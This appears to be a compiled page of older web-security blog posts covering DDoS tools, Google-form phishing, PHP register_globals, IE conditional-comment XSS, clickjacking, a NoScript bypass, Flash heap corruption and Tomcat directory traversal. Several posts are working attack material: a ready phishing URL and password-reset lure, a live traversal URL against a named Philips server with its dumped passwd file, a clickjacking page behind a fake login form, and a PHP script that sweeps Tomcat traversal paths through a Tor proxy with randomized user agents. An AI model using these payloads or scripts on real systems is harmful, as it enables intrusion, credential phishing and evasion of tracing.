Web Security
New and old DDOS Tools
For sure this list is not intended to newbies that want to start a DDOS attack. This list is to inform the readers of what tools new and old the hackers use for their denial-of-service attacks. It’s interesting to see how this tools have evolved and improved over time.
In relatively cronologic order here are the DDOS tools that are in use today:
Trinoo, or Trin00 appeared in 1999 is a distributed SYN DoS attack
The Tribe Flood Network (TFN) is able to implement attacks such as ICMP flood, SYN flood, UDP flood, and SMURF. Communication from the TFN client to daemons is accomplished via ICMP ECHO REPLY packets. The absence of TCP and UDP traffic sometimes makes these packets difficult to detect because many protocol monitoring tools are not even configured to capture and display the ICMP traffic.
Stacheldraht is a combination between trinoo and TFN. Additionally it encrypts master – attacker traffic and the agents (the zombies – computers from where the DDOS attack is launched) have the possibility of auto updating.
Apache DDOS – it uses a vulnerability in Apache versions prior to 1.2.5 (a URL sent to an Apache Web server containing thousands of forward slashes (“/”) would put the server into a state that would consume enormous CPU time)
Trinity. This distributed denial-of-service attack has the interesting feature that the communication between the intruder and his agents/zombies is accomplished via Internet Relay Chat (IRC) or AOL’s ICQ which makes it even harder to track it back.
Shaft DDoS, similar to trinoo has the ability to configure the packet size and duration of the attack.
Tribe Flood Network 2K (TFN2K) TFN2K is a complex variant of the original TFN with features designed specifically to make TFN2K traffic difficult to recognize and filter, remotely execute commands, hide the true source of the attack using IP address spoofing, and transport TFN2K traffic over multiple transport protocols including UDP, TCP, and ICMP. TFN2K attacks include flooding (as in TFN) and those designed to crash or introduce instabilities in systems by sending malformed or invalid packets, such as those found in the Teardrop and Land attacks.
SubSeven Defcon8 – while this is not a DDOS tools it’s a worm used to collect zombies computer. It can spread through websites (adult sites…), email etc…
Phishing With Google.
I really feel Google should know better than this. Check out this form residing on the Google domain[1]. It allows phishers to utilize the Google e-mail interface to phish Google customers in a very simple way. Let's say we set up a Google pages account or some other domain were we create a page that looks like the Adsense interface where customers can change there login credentials. We then use the Google e-mail interface to send an e-mail in Google's name and phish people into visiting this website and collect the submitted credentials.
While this can be nasty, it doesn't stop there. I wonder what happens when G Mail's spam filter kicks in when one starts spamming through this e-mail interface, and the filter starts blocking Google's own e-mail addresses because of the large volume of e-mail that is coming from their own domain? It's probably also possible to get someone's e-mail address blacklisted this way.
Moreover the e-mail interface also accepts GET to submit the phishing e-mail:
http://services.google.com/feedback/adsensetour_email? validate_form=yes& FirstName=adsensecustomer& Email=foobar%40gmail.com& LastName=Sergey+Brin& Company=security%40google.com&q_Answer=MESSAGE_HERE& submit=Send+It
Message:
This is an important message to all our Adsense customers. Google needs to verify your Adsense account, every year we require you to change your password in order for your safety. You must change your password within 10 days or your account will be suspended. Follow this link to change your password: http://googlepages.com/chgpass/
[1] http://services.google.com/feedback/adsensetour_email?hl=
source: OWASP News
PHP Globals And Unregistered Variables.
One of the biggest problems with PHP is certainly register_globals. Once GLOBALS are registered, you are in for a ton of trouble. Today I want to discuss unregistered variables that can be set through register_globals in another method of which I am sure that 99,9% of all PHP developers don't know about. Some PHP developers know about overwriting the $GLOBALS scope, and in order to mitigate global overriding developers create a ridiculous protection mechanism which as I will explain, will fail to work. Please pay attention because I will show you a very subtle trick and difference here which one would assume everyone knows about, but to my amazement do not.
This is common practice by PHP developers to mitigate overwritten GLOBALS:
if ($_REQUEST['GLOBALS']) { die("GLOBALS Overwrite attack attempt");
}
I've even seen this:
if ( isset( $_REQUEST['GLOBALS'] ) || isset( $_FILES['GLOBALS'] ) || isset( $_SERVER['GLOBALS'] ) || isset( $_COOKIE['GLOBALS'] ) || isset( $_ENV['GLOBALS'] ) ) { die( 'GLOBALS overwrite attempt' );
}
Well, once you have register_globals the above protection mechanisms all fail. Here is why: What many PHP developers do not understand, is that PHP treats all request variables as being initialized as a variable. It expects that the requested variable is set, and if it isn't set, PHP will register it for you if register_globals is being used. This means that you can overwrite GLOBALS by just referencing a query string variable that has the same name as the GLOBAL that is echoed back. Ever wondered why it is called a GLOBAL? exactly.
Here is my PHP mantra:
? == $ or: ?foo == $foo
See a problem yet? I didn't use GLOBALS['foo']=bar as normally seen in exploits, because I don't have too. PHP concerned, the request variable foo is being set and registered. The moment that variable isn't set in your source code, we can overwrite that variable with our own.
?foo=bar $GLOBALS['foo'] registered as $foo from ?foo= $_GET['foo'] registered as $foo from ?foo= $_POST['foo'] registered as $foo if posted. $_REQUEST['foo'] registered as $foo from ?foo=
To understand this problem, look at the example below:
<?php ?foo=bar // if the query string contains foo, it will be outputted below: echo $GLOBALS['foo']; ?>
This will not work, because foo is initialized and registered, which supersede the query string:
<?php $foo = 'bar'; // will echo bar. echo $GLOBALS['foo']; ?>
What does it all mean? well, it means that once you still have register_globals turned on and forgot to initialize or register a variable, we can overwrite it. The only way to mitigate this is, is to turn register_globals off because you can't protect this from happening with your self baked functions, because as we just saw the global scope registers the variables if they aren't set, no matter if you use GET, POST, REQUEST or GLOBALS. So what is the impact of this? By doing a Google code query on the use of GLOBALS protection[1], it shows us that at least 100.000 snippets of code from widespread software packages are vulnerable despite their GLOBALS protection.
[1] http://www.google.com/codesearch?q=GLOBALS+Overwrite
source: OWASP News
Payload Control Through Conditional Comments.
You probably noticed that in my last posts I went on writing about simple attack vectors and HTML features which aren't discussed very much. While it isn't high-tech material, it can be useful in any attackers toolbox for the reason that it can help in certain attacks that would not be possible otherwise. From experience, I learned that in any field you'll have to have a sense of improvisation. Forget theory, and improvise on the task at hand. One thing that caught my eye, are conditional comments that are designed for Microsoft IE[1]. Honestly, I never heard of them until today when I saw them in the source code of a website that was trying to differentiate MSIE versions for style sheets. Hm, kinda handy. So can we utilize this? yes we can. It's useful to know about conditional comments, for three reasons:
i. Conditional comments are special comments that can return the browser version.
ii. Unlike normal comments, conditional comments allow for Javascript.
iii. Conditional comments are only parsed by MSIE.
As you can see, this allows room for many ideas. One is using the conditional comments as payload vectors, and use them to bypass anti-xss filters. Another option is to utilize them for very effective payload determination, when one is dealing with vulnerabilities that only work on a specific version of MSIE. As you can see, this can be accomplished without Javascript. Since MSIE is the most attacked and abused browser when it comes down to hacking browsers, it can be critical for attackers to spread as many exploits as possible for as many different versions of MISE without breaking their own code. Conditional comments allow for this in a very reliable way.
Below an example of spreading payload inside a conditional comment:
<!--[if IE]>
<script>alert('IE ALL');</script>
<![endif]-->
<!--[if IE 5]>
<script>alert('5');</script>
<![endif]-->
<!--[if IE 5.0]>
A<script>alert('5.0');</script>
<![endif]-->
<!--[if gte IE 5]>
<script>alert('>= 5');</script>
<![endif]-->
<!--[if lte IE 5.5]>
<script>alert('<= 5.5');</script>
<![endif]-->
<!--[if IE 5.5]>
<script>alert('5.5');</script>
<![endif]-->
<!--[if IE 6]>
<script>alert('6');</script>
<![endif]-->
<!--[if lt IE 6]>
<script>alert('< 6');</script>
<![endif]-->
<!--[if gt IE 6]>
<script>alert('> 6');</script>
<![endif]-->
<!--[if IE 7]>
<script>alert('7');</script>
<![endif]-->
Operator table.
IE [if IE] The only currently supported feature is the string "IE", corresponding to Internet Explorer. value [if IE 7] An integer or floating point numeral corresponding to the version of the browser. Returns a Boolean value of true if the version number matches the browser version. For more information, see Version Vectors. ! [if !IE] The NOT operator. This is placed immediately in front of the feature, operator, or subexpression to reverse the Boolean meaning of the expression. lt [if lt IE 5.5] The less-than operator. Returns true if the first argument is less than the second argument. lte [if lte IE 6] The less-than or equal operator. Returns true if the first argument is less than or equal to the second argument. gt [if gt IE 5] The greater-than operator. Returns true if the first argument is greater than the second argument. gte [if gte IE 7] The greater-than or equal operator. Returns true if the first argument is greater than or equal to the second argument. ( ) [if !(IE 7)] Subexpression operators. Used in conjunction with boolean operators to create more complex expressions. & [if (gt IE 5)&(lt IE 7)] The AND operator. Returns true if all subexpressions evaluate to true | [if (IE 6)|(IE 7)] The OR operator. Returns true if any of the subexpressions evaluates to true. true [if true] Always evaluates to true. false [if false] Always evaluates to false.
[1] http://msdn.microsoft.com/en-us/library/ms537512(VS.85).aspx
source: OWASP News
Same Origin Policy UI Redressing.
UI redressing or clickjacking has gotten a lot of attention lately, and for a good reason because it's quite malicious. If you thought it stopped at enabling webcam and microphone access, your wrong. The Adobe settings manager which is ironically located at the Macromedia website, allow us to trick someone into enabling cross domain access with the use of an IFRAME. The trick here is is to bypass Adobe's frame busting security by referencing the Flash object instead of the HTML that goes along with it, and triggering the correct tab that allows us to change the global security settings.
Figure 1 shows the the Adobe settings manager located at Macromedia with the triggered tab Global Security Settings which we can pass in the following manner: defaultTab=g_security
The following code provides a quick proof of concept that allows to leverage the same origin policy security in Flash objects globally.
Online proof of concept: http://www.0×000000.com/sop.html
<script>
window.onerror = function() { return true;
}
</script>
<style>
* { font-family: verdana; font-size: 11px;
}
</style>
This is a non-malicious proof of concept based upon clickjacking, this poc leverages all security settings, which allow cross domain access. Please do notice that once you checked, your Flash settings will allow for cross domain access! to un-check go to
this page: <a href="sop2.html">undo flash settings</a> credits: Robert Hansen, Jeremiah Grossman, PDP, rvdh<br /><br />
<fieldset style="width:500px;"><legend>Login please</legend>
<h1>Hello! welcome back!</h1><br /><br />
username: <input type="text"><br />
password: <input type="password"><br /><br />
Do you want to remember your login? please check to allow:
<iframe src="http://www.macromedia.com/support/flashplayer/sys/settingsmanager.swf?defaultTab=g_security" frameborder="0"
scrolling="no" style="width:140px;height:20px;margin:0px;"></iframe><br /><br />
<input type="submit" name="submit" value="Login!" />
</fieldset>
A quick way to mitigate this is using NoScript for Mozilla Firefox, since it has some additional UI redressing prevention measures, or if you are a system administrator you can also block the Macromedia domain and IP in your network to make sure no one is being tricked into leveraging their global application security through flash. Since this seems to only work from the Macromedia domain, it'a highly advised to block Adobe and Macromedia until they found a way to mitigate this problem. The webcam and microphone hack also still works in the same manner, if you switch to the correct tab in the Adobe settings manager.
I disclosed it promptly for everyone to take notice of the UI redressing severity. The UI redressing technique is disclosed already and this method I present here would probably surface any time soon if I didn't discuss it. It is better to be safe than sorry. Thanks to Robert Hansen, Jeremiah Grossman, PDP, Kuza55, and MZ for reviews and feedback and coining the name.
source: OWASP News
Bypassing NoScript Iframe Protection.
Recently I discussed the general problems of objects and it's context in which they maybe behave like IFRAMES. Strictly speaking HTML's multimedia features allow the OBJECT HTML to include images, iframes, applets, and other rich content like Flash and movie clips. Previously HTML did allow content to be fetched from an applet as well. To embed another document, whether local or remote, we can utilize the IFRAME, the FRAMESET, EMBED or the OBJECT.
Generic embedding of content.
The w3c specification below shows all possible attributes that are allowed for an OBJECT[1]
<!ELEMENT OBJECT - - (PARAM | %flow;)* -- generic embedded object --> <!ATTLIST OBJECT %attrs; -- %coreattrs, %i18n, %events -- declare (declare) #IMPLIED -- declare but don't instantiate flag -- classid %URI; #IMPLIED -- identifies an implementation -- codebase %URI; #IMPLIED -- base URI for classid, data, archive-- data %URI; #IMPLIED -- reference to object's data -- type %ContentType; #IMPLIED -- content type for data -- codetype %ContentType; #IMPLIED -- content type for code -- archive CDATA #IMPLIED -- space-separated list of URIs -- standby %Text; #IMPLIED -- message to show while loading -- height %Length; #IMPLIED -- override height -- width %Length; #IMPLIED -- override width -- usemap %URI; #IMPLIED -- use client-side image map -- name CDATA #IMPLIED -- submit as part of form -- tabindex NUMBER #IMPLIED -- position in tabbing order -- >
Embed content via an OBJECT.
Normally, CODEBASE and CLASSID are used to fetch data for an OBJECT, similarly for APPLETS. However, the DATA attribute makes it possible to render an OBJECT as an embedded IFRAME as we can see in the example below. In figure 1 we see a regular IFRAME that is successfully blocked by NoScript. Figure 2 shows an OBJECT that is rendered as an IFRAME, successfully bypassing the IFRAME protection.
The code below allows for remote embedding as seen in figure 2.
<object data="http://www.google.com" width="200" height="200"></object>
This will successfully fetch the document residing on a remote server, and start to act as an IFRAME. The latest version of NoScript allows it's users to block iframes in order to protect themselves from “Clickjacking”. Whether or not Clickjacking works with Iframes, I do not know since the details are not released by Hansen, Grossman et al[2]. Certainly NoScript's current protection will fail if an OBJECT is used to replace an IFRAME, making it vulnerable for bypassing it's protection a priori.
Moreover, it is important to know that one does not need Javascript to hijack “clicks” or other mouse-events. I discussed hijacking events on a LABEL element to pass the event through to a submit button, exactly one month ago[3] This way, one is able to hijack user events to perform a CSRF for example, or hijack forms/iframes with it[4], and is nearly impossible to prevent because it does not rely on Javascript at all.
Fix.
Giorgio released a fix for NoScript. You can download the latest version of NoScript with additional protection right here: 1.8.1.9, upgrade
[1] http://www.w3.org/TR/REC-html40/struct/objects.html
[2] http://ha.ckers.org/blog/20080915/clickjacking/
[3] http://www.0×000000.com/index.php?i=312
[4] http://trickeries.com/216/an-interesting-csrf-attack/
source: OWASP News
Bypassing NoScript Clickjacking Protection.
Recently I discussed the general problems of objects and it's context in which they maybe behave like IFRAMES. Strictly speaking HTML's multimedia features allow the OBJECT HTML to include images, iframes, applets and other rich content like Flash. Previously HTML did allow content to be fetched from an applet as well. To embed another document, whether local or remote, we can utilize the IFRAME, the FRAMESET or the OBJECT.
Generic embedding of content.
The w3c specification below shows all possible attributes that are allowed for an OBJECT[1]
<!ELEMENT OBJECT – - (PARAM | %flow;)*
— generic embedded object –>
<!ATTLIST OBJECT
%attrs; — %coreattrs, %i18n, %events –
declare (declare) #IMPLIED — declare but don't instantiate flag –
classid %URI; #IMPLIED — identifies an implementation –
codebase %URI; #IMPLIED — base URI for classid, data, archive–
data %URI; #IMPLIED — reference to object's data –
type %ContentType; #IMPLIED — content type for data –
codetype %ContentType; #IMPLIED — content type for code –
archive CDATA #IMPLIED — space-separated list of URIs –
standby %Text; #IMPLIED — message to show while loading –
height %Length; #IMPLIED — override height –
width %Length; #IMPLIED — override width –
usemap %URI; #IMPLIED — use client-side image map –
name CDATA #IMPLIED — submit as part of form –
tabindex NUMBER #IMPLIED — position in tabbing order –
>
Embed content via an OBJECT.
Normally, CODEBASE and CLASSID are used to fetch data for an OBJECT, similar for APPLETS. However, the DATA attribute makes makes it possible to render an OBJECT as an embedded IFRAME as we can see in the example below. In figure 1 we see a regular IFRAME that is successfully blocked by NoScript. Figure 2 shows an OBJECT that is rendered as an IFRAME, successfully bypassing the IFRAME protection.
http://www.0×000000.com/images/iframeobject.gif
The code below allows for remote embedding as seen in figure 2.
<object data=”http://www.google.com” width=”200″ height=”200″></object>
This will successfully fetch the document residing on a remote server, and start to act as an IFRAME. The latest version of NoScript allows it's users to block iframes in order to protect themselves from “Clickjacking”. Whether or not Clickjacking works with Iframes, I do not know since the details are not released by Hansen, Grossmann et al[2]. Certainly NoScript's current protection will fail if an OBJECT is used to replace an IFRAME, making it vulnerable for bypassing it's protection a priori.
[1] http://www.w3.org/TR/REC-html40/struct/objects.html
[2] http://ha.ckers.org/blog/20080915/clickjacking/
source: OWASP News
Who Wants To Root Philips.
Writing about hacking and security isn't like anything else. It's cool and depressing, fun and dangerous at the same time. You'll never know what to expect. That's the beauty of it I guess. Since application hacking is quite well known by now, it depresses me very much to encounter things I am to speak about.
My first directory traversal was around 1999 when I more or less found myself intrigued by web applications and was pretty stunned that I could hack Cisco from a browser instead of a terminal. Imagine that you know, without any GNU/Linux skills running Netscape on some Windows box trying to proof-root Cisco and send them my findings. And guess what, they never replied back. Maybe the hole is still open after all these years, who knows. It's fair to conclude that programmers still suck at security and it's likely not going to change any time soon. But the biggest problem for hackers or security pentesters is the way they have to contact a company to notify them of their security issues. To be honest, I never got a honest mail back, from no-one besides a couple of threats. One of them was Bank Of America, who pulled the plug on this very website. But I guess that comes with the territory. In the real world everyone would be happy if your neighbors notify you, that you forgot your house keys on the outside of the front door. But no, not in Internet land.
A reader called haykuro, contacted me one month ago about a gaping hole on the Philips domain. A classic directory traversal vulnerability. While that wasn't enough, I tried to be an upstanding citizen and contacted Philips. Which turns out to be virtually impossible. They seem to have really good human resource firewalls, but lack proper application firewalls. They never got back to me even when I said that I will disclose it unto the net. So, one month later and it's still not fixed. I took a couple of hours to write mails back and forth, all in vain. Now I got only one thing to say: go suck on it!
Directory traversal:
http://www.trimension.philips.com/index.php?page=../../../../../../etc/passwd
Notice that the passwords are shadowed. At least they got that right. A shadowed password is indicated as an X. This means that the passwords aren't visible in the passwd file but reside in the shadow file. Nonetheless, you can obtain any file you want.
passwd file:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root: /sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin /nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash nscd:x:28:28:NSCD Daemon:/:/sbin/nologin ident:x:100:101::/home/ident:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var /lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs: /sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var /spool/mqueue:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin apache:x:48:48:Apache:/var/www:/bin/false ntp:x:38:38::/etc/ntp:/sbin/nologin administrator:x:201:201::/home/administrator:/bin/bash fhsvct:x:203:203::/home/fhsvcs: /bin/false webstats:x:250:250::/var/ossec:/sbin/nologin
source: OWASP News
Flash, Fuzzing and Girls.
A short update of developments this week. Let's start with how to impress girls.
I just read some slides from Blackhat, and one that caught my interest was the slides from Mark Dowd and Alexander Sotirov[1]. I guess I don't have to explain who those gentlemen are. Right, now what caught my eye was a mention about the use of verbatim dll pointers in an object. Usually, with ActiveX we load the classid followed by the id that links to the dll. In this case, they just load the dll into the object and that raises no warning in the Internet Zone. Clearly this is some very notable find and certainly material to impress girls with, because I never assumed that that was possible. It shows again that a solution is always in it's environment. It's simple, but brilliant.
Loading verbatim dll's:
<object classid="ControleName.dll#NameSpace.ClassName"></object>
That is only one tiny part of the paper, go read it if you are interested. It is a real eyeopener. It covers:
– “Stack Spraying”, an alternative method to heap spraying with some additional benefits
– Exploiting poor permissions, such as Java's RWX memory allocator, and
– Utilizing .NET binaries to map data at an attacker-controlled memory location.
Adobe fixes heap corruption.
Some time ago, I found that the Flash9c.ocx was vulnerable to heap corruption, and that it's possible to overflow the SWRemote property inside the Flash9c.ocx Interface with a very long string generated in VBscript. In my test case it ran for about 30 seconds before crashing and raising an exception, when trying to kill it, it could result in a full system freeze. After updating Flash It seems Adobe fixed this silently in at least Flash9f.ocx. A real bummer for personal research. I cannot reproduce it anymore, because I did not make a copy of Flash9c.ocx for future research. Anyway I learned to make copies now.
Interface IShockwaveFlash : IDispatch Default Interface: True Members : 93 Quality ScaleMode AlignMode BackgroundColor Movie FrameNum SetZoomRect Zoom Pan GotoFrame FrameLoaded WMode SAlign Base Scale BGColor Quality2 LoadMovie TGotoFrame TGotoLabel TCurrentFrame TCurrentLabel TPlay TStopPlay SetVariable GetVariable TSetProperty TGetProperty TCallFrame TCallLabel TSetPropertyNum TGetPropertyNum TGetPropertyAsNumber SWRemote FlashVars AllowScriptAccess MovieData ProfileAddress ProfilePort CallFunction SetReturnValue AllowNetworking AllowFullScreen
SWRemote
The property SWRemote inside Flash9x.ocx interface obtains a string passed through the object:
Property Let SWRemote As String
The proof of concept was:
<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='foo'> <param name="src" value="foo.swf"> </object> <object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='bar'> <param name="src" value="foo.swf"> </object> <script type='text/vbscript'> long=String(100000000,"X") foo.SWRemote=long bar.SWRemote=long </script>
Live trace:
Now the interesting thing about this is, I fuzzed all classes in that particular dll without regard if they were considered fuzzable or not. It turns out that, in blackbox fuzzing you can find vulnerabilities that you would not find while fuzzing on assumptions, like COMraider does for example. Secondly, I used two flash objects, or two dll class calls. That made a difference in finding this vulnerability. HD Moore once said that you'll have to know what to fuzz for. This is true in some sense, because it speeds up your fuzzing. But the drawback is, that you cannot encompass all possibilities and quirks. The very vulnerabilities you look for might be not fuzzable without hammering all classes whether they are fuzzable or not, because it turned out that it certainly was in this case.
[1] http://taossa.com/archive/bh08sotirovdowdslides.pdf
source: OWASP News
Exploiting Apache Tomcat.
You might have seen the new Apache Tomcat <= 6.0.18 vulnerability found by Simon Ryeo[1]. The vulnerability involved a problem in Tomcat with processing UTF-8 encoded URI's which resulted in a directory traversal and canonicalization issues while mapping the paths. If context.xml or server.xml allows 'allowLinking' and 'URIencoding' as 'UTF-8', directory traversal becomes possible. Curious enough this is pretty much de facto on *NIX systems. Ah the joy of standards! I don't know what is happening at Apache, but Tomcat is quite often vulnerable. It isn't the first time you see.
So let's exploit *cough* test it:
<?php
$url = "http://www.google.com";
$dir = array(
"%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/httpd/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/httpd/error_log",
"%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",
"%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/error_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/access.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/error_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/error_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/error_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/error.log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/access_log",
"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/error_log"
);
function wrap($url){
$ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver');
$op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX');
$agent = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';
# proxy $tor = '127.0.0.1:8118'; $timeout = '300'; $ack = curl_init(); curl_setopt ($ack, CURLOPT_PROXY, $tor); curl_setopt ($ack, CURLOPT_URL, $url); curl_setopt ($ack, CURLOPT_HEADER, 1); curl_setopt ($ack, CURLOPT_USERAGENT, $agent); curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);
$syn = curl_exec($ack); $info = curl_getinfo($ack); curl_close($ack);
if($info['http_code'] == '200') { return $syn; die(); } else { return "Fail! :".$info['http_code']."\r\n"; }
}
for($i=0;$i<count($dir);$i++) { echo wrap($url.":8080/".$dir[$i]); }
?>
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938
source: OWASP News